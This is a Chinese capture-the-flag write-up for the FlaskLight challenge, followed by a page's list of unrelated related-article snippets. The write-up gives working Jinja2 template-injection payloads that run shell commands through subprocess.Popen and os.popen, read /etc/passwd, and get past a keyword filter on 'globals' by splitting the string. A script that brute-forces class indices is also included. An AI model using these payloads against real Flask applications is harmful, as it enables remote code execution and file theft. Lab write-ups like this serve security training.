当前位置: 首页 > news >正文

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤

目录

subprocess.Popen

FILE

warnings.catch_warnings

site._Printer



这题很明显就是 SSTI了

源代码

我们试试看

{{7*7}}

然后我们就开始吧

原本我的想法是直接{{url_for.__globals__}}

但是回显是直接500 猜测过滤 我们正常来吧

{{"".__class__}}  查看当前情况{{"".__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码{{"".__class__.__mro__}}  查看全部类  发现存在<type 'object'>了{{"".__class__.__mro__[2].__subclasses__()}}  查看object的子类

这里我们需要 os 来调用

但是这里存在一个类 可以不需要os

subprocess.Popen

Python3 subprocess | 菜鸟教程

需要参数

("命令",shell=True,stdout=-1)这里 stdout  就是指定输出 PIPE

然后我们可以使用 其方法来进行交互

("命令",shell=True,stdout=-1).communicate()

这样我们就可以实现rce

首先通过 脚本跑出来其的位数

import timeimport  requestsbase_url="http://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?search="for i in range(300):payload="{{\"\".__class__.__mro__[2].__subclasses__()[%s]}}"%ir = requests.get(url=base_url + payload)if "subprocess.Popen" in r.text:print(i)if r.status_code == 429:time.sleep(0.5)

跑出来是258

我们开始构造

?search={{''.__class__.__mro__[2].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0].strip()}}最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符

我们看看 flasklight看看

?search={{''.__class__.__mro__[2].__subclasses__()[258]("cat /flasklight/coomme_geeeett_youur_flek",shell=True,stdout=-1).communicate()[0].strip()}}

FILE

这是另一个方法 通过file读取文件

首先我们要测试一下

先查找一下 file

发现是40

然后我们看看

{{"".__class__.__mro__[2].__subclasses__()[40]}}
/?search={{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}

读取成功

然后我们去读一下命令行吧

发现读出了路径

我们看看这个py

但是还是没有办法直接读取出来 因为不知道flag的文件名字

warnings.catch_warnings

我们首先找一下这个类的位数

59

{{"".__class__.__mro__[2].__subclasses__()[59].__init__}}

这里就卡住了 因为我们还是需要 globals的参与

我们如何绕过过滤呢

{{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']}}

这样就可以

我们在上面也知道 是通过匹配过滤的

做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧

这里我们能发现 这个类没有加载 os 需要我们手动加载

我们需要在其

['__builtins__']['eval']

 下导入

payload

?search={{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

这样就借助 os 实现了 rce

site._Printer

我们知道了 globals可以拼接绕过

这个方法也可以实现我们看看里面是否内置了 os

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']}}

发现存在 我们直接rce即可

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

最后读取即可

相关文章:

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤

目录 subprocess.Popen FILE warnings.catch_warnings site._Printer 这题很明显就是 SSTI了 源代码 我们试试看 {{7*7}} 然后我们就开始吧 原本我的想法是直接{{url_for.__globals__}} 但是回显是直接500 猜测过滤 我们正常来吧 {{"".__class__}} 查看当前…...

1分钟快速实现Redis数据对比

在上篇「Redis高效、安全的不停机数据迁移方案」的文章中&#xff0c;介绍了NineData在Redis迁移场景下的性能和优势。因为数据在主备、多云和多区域环境之间的迁移流动&#xff0c;难免会产生数据一致性的问题&#xff0c;而结构与数据不一致往往是导致故障的原因之一。所以&a…...

ASUS华硕天选4笔记本电脑FX507VV原厂Windows11系统

下载链接&#xff1a;https://pan.baidu.com/s/1W9tedHI3iFjaHju5eLkQ6g?pwd8dl2 系统自带所有驱动、出厂主题壁纸LOGO、Office办公软件、华硕电脑管家、奥创控制中心等预装程序 由于时间关系,绝大部分资料没有上传&#xff0c;不是想要的型号&#xff0c;请联系客服获取。...

Vue3配置路由

文章目录 一、创建index.js二、main.js的配置三、在App.vue中引入 一、创建index.js 在src文件夹中创建router文件夹&#xff0c;并在其中创建index.js文件 //引入路由对象 import { createRouter,createWebHistory } from vue-router import PufMac from "../views/puf…...

力扣 -- 97. 交错字符串

解题步骤&#xff1a; 参考代码&#xff1a; class Solution { public:bool isInterleave(string s1, string s2, string s3) {int ms1.size();int ns2.size();//先判断s1的长度s2的长度是否等于s3的长度&#xff0c;如果不等&#xff0c;则s1和s2不可能拼接成s3if(mn!s3.size…...

【剑指Offer】4.二维数组中的查找

题目 在一个二维数组array中&#xff08;每个一维数组的长度相同&#xff09;&#xff0c;每一行都按照从左到右递增的顺序排序&#xff0c;每一列都按照从上到下递增的顺序排序。请完成一个函数&#xff0c;输入这样的一个二维数组和一个整数&#xff0c;判断数组中是否含有该…...

独立按键控制LED亮灭、独立按键控制LED状态、独立按键控制LED显示二进制、独立按键控制LED移位——“51单片机”

各位CSDN的uu们你们好呀&#xff0c;今天依旧是小雅兰的51单片机的内容&#xff0c;内容主要是&#xff1a;独立按键控制LED亮灭、独立按键控制LED状态、独立按键控制LED显示二进制、独立按键控制LED移位&#xff0c;下面&#xff0c;让我们进入51单片机的世界吧&#xff01;&a…...

chrome extensions mv3通过content scripts注入/获取原网站的window数据

开发插件的都知道插件的content scripts和top window只共享Dom不共享window和其他数据&#xff0c;如果想拿挂载在window的数据还有点难度&#xff0c;下面会通过事件的方式传递cs和top window之间的数据写一个例子 代码 manifest.json 这里只搞了2个js&#xff0c;content.…...

震坤行API接口聚合解析,实现根据ID取商品详情

震坤行是一个工业品服务平台&#xff0c;提供了API接口供开发者使用。要根据ID获取商品详情&#xff0c;您需要使用震坤行API接口并进行相应的请求。 以下是使用震坤行API接口根据ID获取商品详情的示例代码&#xff08;使用Python编写&#xff09;&#xff1a; import reques…...

mencpy和strcpy的区别?

今天刷题时遇到了这个问题&#xff0c;记录一下。 strcpy比较简单&#xff0c;就是拷贝字符串&#xff0c;遇到\0时结束拷贝。 memcpy用来做内存拷贝&#xff0c;可以拷贝任何数据类型的对象并指定拷贝数据的长度&#xff1a;char a[100],b[50]; memcpy(b, a, sizeof(b)); 总结…...

机器人过程自动化(RPA)入门 8. 异常处理、调试和日志记录

有时,自动化程序可能无法执行。为了处理此类情况,我们使用异常处理活动。在本章中,我们将从UiPath中可用的各种类型的异常处理方法、您可能遇到的异常以及如何处理它们开始。我们还将学习日志记录。本章涉及的一个重要主题是调试,以检查工作流是否正常工作,并更正任何错误…...

tomcat总结笔记

文章目录 Tomcat1、什么是tomcat?2、rpm安装jre环境3、源码安装jdk环境4、安装tomcat --源码安装5、相关目录文件webappsTomcat 配置文件目录介绍&#xff08;conf&#xff09;tomcat的相关管理命令在$prefix/bin目录下 实战1、&#xff1a;配置nginx动静分离实战2、配置基于t…...

中断向量控制器(NVIC)

1. 什么是中断 在处理器中&#xff0c;中断是一个过程&#xff0c;即CPU在正常执行程序的过程中&#xff0c;遇到外部/内部的紧急事件需要处理&#xff0c;暂时中止当前程序的执行&#xff0c;转而去为处理紧急的事件&#xff0c;待处理完毕后再返回被打断的程序处继续往下执行…...

QT配置FFmpeg出现错误原因

文章目录 QT配置ffmpeg出现&#xff1a; undefined reference to "avcodec_version"没有配置环境变量QT和FFmpeg的版本不对应直接添加FFmpeg的头文件没有在.pro文件添加路径 QT 程序异常退出没有在debug文件里面存放dll库 QT配置ffmpeg出现&#xff1a; undefined re…...

列出使用Typescript的一些优点?

使用Typescript有以下优点&#xff1a; 类型安全&#xff1a;Typescript是一种静态类型语言&#xff0c;它要求在编码阶段明确定义变量和函数的类型。这种类型安全可以减少在运行时出现错误的可能性&#xff0c;并提高代码的可读性和可维护性。代码可读性和可维护性&#xff1…...

如何做好测试?(四)集成测试(Integration Testing, IT)

1. 集成测试的详细介绍&#xff1a; 集成测试&#xff08;Integration Testing, IT&#xff09;&#xff0c;是一种软件测试方法&#xff0c;旨在验证不同组件、模块或子系统之间的交互和集成是否正常工作。它侧重于测试系统的组件之间的接口和数据传递&#xff0c;以确保它们…...

二叉树前序、中序、后序遍历(递归法、迭代法)

前序遍历&#xff1a;&#xff08;练习题&#xff09; 迭代法一&#xff1a; int TreeSize(struct TreeNode* root){return rootNULL?0:TreeSize(root->left)TreeSize(root->right)1; }int* preorderTraversal(struct TreeNode* root, int* returnSize){if(rootNULL){*…...

npm ,yarn 更换使用国内镜像源,淘宝源

背景 文章首发地址 在平时开发当中&#xff0c;我们经常会使用 Npm&#xff0c;yarn 来构建 web 项目。但是npm默认的源的服务器是在国外的&#xff0c;如果没有梯子的话。下载速度会特别慢。那有没有方法解决呢&#xff1f; 其实是有的&#xff0c;设置国内镜像即可&#x…...

真正理解浏览器渲染更新流程

浏览器渲染更新过程 文章目录 浏览器渲染更新过程帧维度解释帧渲染过程一些名词解释Renderer进程GPU进程rendering(渲染) vs painting(绘制)⭐位图纹理Rasterize(光栅化) 1. 浏览器的某一帧开始&#xff1a;vsync2. Input event handlers3. requestAnimationFrame4. 强制重排(可…...

市场调研的步骤与技巧:助你了解市场需求

在当今快速发展的市场中&#xff0c;进行有效的市场研究对于了解消费者的行为、偏好和趋势至关重要。适当的市场研究可以帮助公司获得对目标受众的有价值的见解&#xff0c;创造更好的产品和服务&#xff0c;并提高客户满意度。今天&#xff0c;小编和大家一起讨论一下怎么做市…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

Python:操作 Excel 折叠

💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具

文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

postgresql|数据库|只读用户的创建和删除(备忘)

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

rnn判断string中第一次出现a的下标

# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档&#xff09;&#xff0c;如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下&#xff0c;风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...

无人机侦测与反制技术的进展与应用

国家电网无人机侦测与反制技术的进展与应用 引言 随着无人机&#xff08;无人驾驶飞行器&#xff0c;UAV&#xff09;技术的快速发展&#xff0c;其在商业、娱乐和军事领域的广泛应用带来了新的安全挑战。特别是对于关键基础设施如电力系统&#xff0c;无人机的“黑飞”&…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...